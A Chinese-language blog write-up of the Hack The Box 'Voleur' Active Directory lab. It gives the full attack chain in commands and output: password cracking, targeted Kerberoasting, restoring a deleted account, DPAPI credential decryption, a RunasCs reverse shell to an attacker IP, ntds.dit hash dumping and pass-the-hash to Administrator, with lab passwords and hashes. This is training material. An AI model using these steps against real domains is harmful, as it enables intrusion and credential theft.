HTB-Voleur WriteUp - Alan's Blog

Alan

统计加载中...

Announcement

我杂乱无章的记事本

Learn More

标签

#Windows cap/priv Crypt dom/ops GM Kerberos Linux os/linux Penetration PrivEsc Protocol Reverse Virus Windwos

1159 字

6 分钟

HTB-Voleur WriteUp

2025-09-07

打靶日记

Penetration

/

PrivEsc

/

Windwos

统计加载中...

1. Recon#

nmap 半连接快速扫一下端口服务

1
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v 10.10.11.76
2
...
3
PORT     STATE SERVICE
4
53/tcp   open  domain
5
88/tcp   open  kerberos-sec
6
135/tcp  open  msrpc
7
139/tcp  open  netbios-ssn
8
389/tcp  open  ldap
9
445/tcp  open  microsoft-ds
10
464/tcp  open  kpasswd5
11
593/tcp  open  http-rpc-epmap
12
636/tcp  open  ldapssl
13
2222/tcp open  EtherNetIP-1
14
3268/tcp open  globalcatLDAP
15
3269/tcp open  globalcatLDAPssl
16
5985/tcp open  wsman

再详细扫一下上一步获取到的端口

1
nmap -sT -sVC -Pn -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985 10.10.11.76
2
...
3
PORT     STATE SERVICE       VERSION
4
53/tcp   open  domain        Simple DNS Plus
5
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-07 16:49:58Z)
6
135/tcp  open  msrpc         Microsoft Windows RPC
7
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
8
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
9
445/tcp  open  microsoft-ds?
10
464/tcp  open  kpasswd5?
11
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
12
636/tcp  open  tcpwrapped
13
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
14
| ssh-hostkey:
15
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
16
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
17
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
18
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
19
3269/tcp open  tcpwrapped
20
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
21
|_http-server-header: Microsoft-HTTPAPI/2.0
22
|_http-title: Not Found
23
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
24
...

将域名加入 hosts 文件解析

1
echo "10.10.11.76 voleur.htb dc.voleur.htb" >> /etc/hosts

同步时钟

1
ntpdate 10.10.11.76

配置 /etc/krb5.conf

1
[libdefaults]
2
  default_realm = VOLEUR.HTB
3
  dns_lookup_realm = false
4
  dns_lookup_kdc = false
5

6
[realms]
7
  VOLEUR.HTB = {
8
    kdc = dc.voleur.htb
9
    admin_server = dc.voleur.htb
10
  }

2. Foothold#

依据题目给出的凭据 ryan.naylor/HollowOct31Nyt，探测一下目标服务器所支持的登录协议

翻找 ryan.naylor 用户的 SMB 共享

1
impacket-getTGT 'VOLEUR.HTB/ryan.naylor':'HollowOct31Nyt'
2
export KRB5CCNAME=ryan.naylor.ccache
3
impacket-smbclient -k -no-pass VOLEUR.HTB/[email protected]

下载 IT 目录的 Access_Review.xlsx

打开 Access_Review.xlsx 需要口令

将该文件的 hash 提取出来爆破

Notes : 需要将前缀 Access_Review.xlsx: 删除，剩下的才是hash

1
# hashcat -m 9600 hash.txt /usr/share/wordlists/rockyou.txt
2
...
3
$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*500bd7e833dffaa28772a49e987be35b*7ec993c47ef39a61e86f8273536decc7d525691345004092482f9fd59cfa111c:football1

翻查 Access_Review.xlsx

获得三组凭证

1
 Todd.Wolfe/NightT1meP1dg3on14
2
 svc_ldap/M1XyC9pW7qT5Vn
3
 svc_iis/N5pXyW1VqM7CZ8

其中仅有 svc_ldap 可用，用 svc_ldap 跑一下 bloodhound

1
bloodhound-python -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -d voleur.htb -ns 10.10.11.76 -c All --zip

可见 svc_ldap 具有对 svc_winrm 用户 WriteSPN 的权限

使用 targetedKerberoast.py 枚举所有可以被 svc_ldap 修改 SPN 权限的用户，并返回其 hash

1
impacket-getTGT 'voleur.htb/svc_ldap':'M1XyC9pW7qT5Vn'
2
export KRB5CCNAME=svc_ldap.ccache
3
python3 targetedKerberoast.py -k --dc-host dc.voleur.htb -u svc_ldap -d voleur.htb

获取到 lacey.miler 和 svc_winrm 的 hash

hashcat 爆破获取到 svc_winrm 的凭证

1
hashcat -m 13100 -a 0 hash.txt /path/to/rockyou.txt

成功登录

1
impacket-getTGT 'voleur.htb/svc_winrm':'AFireInsidedeOzarctica980219afi'
2
export KRB5CCANME=svc_winrm.ccache
3
evil-winrm -i dc.voleur.htb -r voleur.htb

3. PrivEsc#

通过 winPEASx64 、证书缺陷漏洞 等操作都没发现什么有价值的信息

翻看之前已获取到的信息，发现有个恢复用户的组 [email protected]，结合 Access_Review.xlsx 里备注提及到的删除用户操作

刚好有 restore_users 组中的用户 svc_ldap 的凭证

恢复之前表格里提及到被删除的 Todd.Wolfe 用户

方法一： 直接使用新版 bloodyAD 的 restore 功能

1
bloodyAD --host dc.voleur.htb -d voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k set restore 'todd.wolfe'
2
[+] todd.wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb

方法二：

上传 RunasCs.exe 反弹 svc_ldap 用户的 shell

1
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> upload /home/kali/Voleur/RunasCs.exe
2
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>  .\RunasCS.exe svc_ldap M1XyC9pW7qT5Vn  powershell.exe -r 10.10.16.48:6666

查询删除的用户

1
PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

恢复删除的用户

1
PS C:\Windows\system32> Get-ADObject -Filter 'isDeleted -eq $true -and Name -like "*Todd Wolfe*"' -IncludeDeletedObjects | Restore-ADObject

获得 Todd.Wolfe 用户的凭据后继续翻找 SMB

1
impacket-getTGT 'VOLEUR.HTB/Todd.Wolfe':'NightT1meP1dg3on14'
2
export KRB5CCNAME=todd.wolfe.ccache
3
impacket-smbclient -k -no-pass VOLEUR.HTB/[email protected]

发现使用 DPAPI 的迹象

下载 DPAPI 主密钥和加密凭证

1
# use IT
2

3
# cd /Second-Line Support /Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials/
4
# get 772275FAD58525253490A9B0039791D3
5

6
# cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
7
# get 08949382-134f-4c63-b93c-ce52efc0aa88

解密 masterkey

1
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -password 'NightT1meP1dg3on14' -sid S-1-5-21-3927696377-1337352550-2781715495-1110
2
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
3

4
[MASTERKEYFILE]
5
Version     :        2 (2)
6
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
7
Flags       :        0 (0)
8
Policy      :        0 (0)
9
MasterKeyLen: 00000088 (136)
10
BackupKeyLen: 00000068 (104)
11
CredHistLen : 00000000 (0)
12
DomainKeyLen: 00000174 (372)
13

14
Decrypted key with User Key (MD4 protected)
15
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

解密 Credential Blob，得到 jeremy.combs 口令

1
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
2
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
3

4
[CREDENTIAL]
5
LastWritten : 2025-01-29 12:55:19+00:00
6
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
7
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
8
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
9
Target      : Domain:target=Jezzas_Account
10
Description :
11
Unknown     :
12
Username    : jeremy.combs
13
Unknown     : qT3V9pLXyN7W4m

继续翻找 SMB

1
impacket-getTGT 'VOLEUR.HTB/jeremy.combs':'qT3V9pLXyN7W4m'
2
export KRB5CCNAME=jeremy.combs.ccache
3
impacket-smbclient -k -no-pass VOLEUR.HTB/[email protected]

发现 id.rsa 和 Notes.txt.txt ，下载至本地

从 Note.txt.txt 中得知目标系统还运行了 WSL

1
Jeremy,
2

3
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
4

5
Please see what you can set up.
6

7
Thanks,
8

9
Admin

ssh-keygen 导出公钥或者 base64 解码可以看到是 svc_backup 用户的秘钥

1
ssh-keygen -y -f ./id_rsa
2
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCoXI8y9RFb+pvJGV6YAzNo9W99Hsk0fOcvrEMc/ij+GpYjOfd1nro/ZpuwyBnLZdcZ/ak7QzXdSJ2IFoXd0s0vtjVJ5L8MyKwTjXXMfHoBAx6mPQwYGL9zVR+LutUyr5fo0mdva/mkLOmjKhs41aisFcwpX0OdtC6ZbFhcpDKvq+BKst3ckFbpM1lrc9ZOHL3CtNE56B1hqoKPOTc+xxy3ro+GZA/JaR5VsgZkCoQL951843OZmMxuft24nAgvlzrwwy4KL273UwDkUCKCc22C+9hWGr+kuSFwqSHV6JHTVPJSZ4dUmEFAvBXNwc11WT4Y743OHJE6q7GFppWNw7wvcow9g1RmX9zii/zQgbTiEC8BAgbI28A+4RcacsSIpFw2D6a8jr+wshxTmhCQ8kztcWV6NIod+Alw/VbcwwMBgqmQC5lMnBI/0hJVWWPhH+V9bXy0qKJe7KA4a52bcBtjrkKU7A/6xjv6tc5MDacneoTQnyAYSJLwMXM84XzQ4us= svc_backup@DC

通过前期端口扫描收集到的 2222 端口登录

1
ssh -i id_rsa [email protected] -p 2222

在挂载的 c 盘中发现了 AD 数据库的备份，将其传回本地

1
scp -i id_rsa -P 2222 [email protected]:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ./
2
scp -i id_rsa -P 2222 [email protected]:"/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./

使用 SYSTEM 中的 BootKey 本地提取 AD数据库 所有的 NTLM hash

1
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
2

3
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
5
[*] Searching for pekList, be patient
6
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
7
[*] Reading and decrypting hashes from ntds.dit
8
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
9
...

登录 Administrator

1
impacket-getTGT 'VOLEUR.HTB/Administrator' -hashes 'aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2'
2
export KRB5CCNAME=Administrator.ccache
3
evil-winrm -i dc.voleur.htb -r voleur.htb

Notes : LM hash 与 NT Hash 是同一口令依据不同算法输出的结果，之所以需要传入两种 hash 是因为认证协议里的结构需要携带 LM Hash 和 NTLM Hash 两个字段
禁用时，LM Hash 永远是固定的哑值：aad3b435b51404eeaad3b435b51404ee

HTB-Voleur WriteUp

https://blog.41an.com/posts/htb-voleur/

作者

Alan

发布于

2025-09-07

许可协议

CC BY-NC-SA 4.0

部分信息可能已经过时

HTB-soulmate WriteUp

HTB-CodePartTwo WriteUp